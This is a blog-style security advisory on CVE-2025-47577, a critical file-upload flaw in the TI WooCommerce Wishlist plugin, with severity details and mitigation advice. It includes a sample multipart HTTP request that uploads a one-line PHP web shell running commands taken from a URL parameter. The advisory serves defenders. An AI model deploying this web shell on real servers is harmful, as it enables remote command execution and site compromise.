Overview
The cybersecurity landscape is a continuous battlefield where new vulnerabilities are discovered regularly. One such critical vulnerability, identified as CVE-2025-47577, affects the popular e-commerce plugin, TI WooCommerce Wishlist. This vulnerability, categorized as an ‘Unrestricted Upload of File with Dangerous Type’, can lead to serious consequences, such as system compromise and data leakage.
The impact of this vulnerability cannot be underestimated due to the widespread usage of the WooCommerce plugin, which means a large number of online stores could be potential targets. This blog post intends to provide an in-depth understanding of the vulnerability, its impact, and what steps can be taken to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-47577
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage
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Product | Affected Versions
TI WooCommerce Wishlist | n/a through 2.9.2
How the Exploit Works
The CVE-2025-47577 vulnerability allows an attacker to upload a malicious file, such as a web shell, to a web server. This can be achieved due to insufficient file validation mechanisms in the TI WooCommerce Wishlist plugin. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the server, which then processes the request and uploads the malicious file.
Once the malicious file is uploaded, the attacker can execute arbitrary commands on the server, leading to a complete system compromise. This presents a significant risk as it can lead to unauthorized access to sensitive data, disruption of the service, and further infiltration into the network.
Conceptual Example Code
Here is a conceptual example of an HTTP request that could be used to exploit this vulnerability:
POST /upload_file.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--This request attempts to upload a PHP web shell, which, if successful, would allow the attacker to execute arbitrary shell commands on the server.
Mitigation Guidance
To mitigate this vulnerability, organizations should immediately apply the vendor-supplied patch. In situations where the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. Furthermore, organizations should also consider implementing strict file validation mechanisms to prevent the upload of potentially malicious files.
In conclusion, understanding and addressing vulnerabilities like CVE-2025-47577 is crucial to maintaining a robust cybersecurity posture. Stay vigilant, stay secure.